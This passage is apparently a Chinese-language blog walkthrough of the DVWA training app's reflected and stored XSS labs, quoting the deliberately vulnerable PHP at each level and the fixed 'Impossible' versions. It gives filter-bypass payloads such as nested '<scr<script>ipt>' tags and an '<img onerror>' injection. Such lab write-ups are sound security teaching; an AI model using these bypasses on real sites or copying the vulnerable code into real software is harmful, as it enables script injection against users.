<option value="German">German</option>
</select>

代码审计

  • 之前的恶意代码之所以能够运行就是因为在呈现页面元素时,将URL中已经编好码的参数使用decodeURI()解码,解码后的代码才可以执行。
  • 前端不解码直接呈现参数lang,导致恶意代码编码后无法被解析。

XSS(Reflected)

XSS(Reflected)

介绍

  • 攻击者构造恶意链接诱骗受害者点击,受害者点击后便触发恶意代码运行,完成攻击。

Low

Code

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

方法

  • 前端负责输入,后端接收到name参数后没有防范措施,直接打印在屏幕上。
  • 直接输入XSS语句即可。

Medium

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

方法

  • 使用str_replace()函数,将<script>过滤后打印。
  • 借用str_replace的过滤机制,<script>被替换为空字符串,构造Payload
1
<scr<script>ipt>alert('XSS');</script>

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

方法

  • 使用正则表达式过滤法,杜绝了构造<script>的方法。
  • 黑名单太过单一,可以使用其他标签进行注入。
  • 使用<img>元素,Payload如下。
1
<img src=1 onerror=alert('XSS')>

Impossible

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

  • 日常check token
  • htmlspecialchars()函数将name参数转化后,代码无法运行。

htmlspecialchars( string $string , int $flags = ENT_COMPAT | ENT_HTML401 , string $encoding = ini_get(“default_charset”) , bool $double_encode = true ) : string将特殊字符转换为HTML实体。

XSS(Stored)

XSS(Stored)

介绍

  • 攻击者将恶意代码上传到服务器端存储(如评论区),每当服务器展示时,恶意代码都会运行。

Low

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

方法

  • namemessage参数进行修剪,去除多余字符。
  • 在前端页面对name的大小限制为10个字符,对message限制为50个字符。
  • 使用stripslashes()函数对message进行转义字符过滤,预防SQL注入。

trim( string $str , string $character_mask = “ \t\n\r\0\x0B” ) : string除去以下特殊字符。

字符 意义
“ “ 空格
“\t” 制表符
“\n” 换行符
“\r” 回车符
“\0” 空字节符
“\x0B” 垂直制表符
  • name限制太大,只能从message下手,并且没有任何XSS防御手段,直接键入XSS语句即可。

Medium

Code

1
2
3
4
5
6
7
8
9
10
11
12
<?php

...

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
...
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
...

方法

  • 使用 addslashes()函数对 message 中的某些字符进行过滤。
  • 使用 strip_tags() 函数去除标签。
  • name中的<script>标签进行屏蔽。

strip_tags( string $str , string $allowable_tags = ? ) : string从字符串 str 中去除 HTMLPHP 标签。

addslashes( string $str ) : string在字符串 str 中的单引号(')、双引号(")、反斜线(\)与 NULnull 字符)前,加上反斜线(\)转义。

  • message这个注入点被完全屏蔽了,但是name只是简单过滤,于是从name下手。
  • 前端对name限制了文本长度,打开F12修改前端限制。
  • 使用name作为注入点,对<script>的屏蔽构造Payload
1
<scr<script>ipt>alert('XSS');</scr<script>ipt>

High

Code

1
2
3
4
5
6
7
<?php

...

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
...

方法

  • 知道Medium会放过name注入后,对<script>进行了正则表达式的完全屏蔽。
  • 屏蔽了<script>标签后,使用其他标签注入XSS语句即可。

Impossible

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

  • 日常check token
  • Medium的基础上,对name施加同message一样的过滤,使得注入点消失。
  • 使用PDO机制预防SQL注入。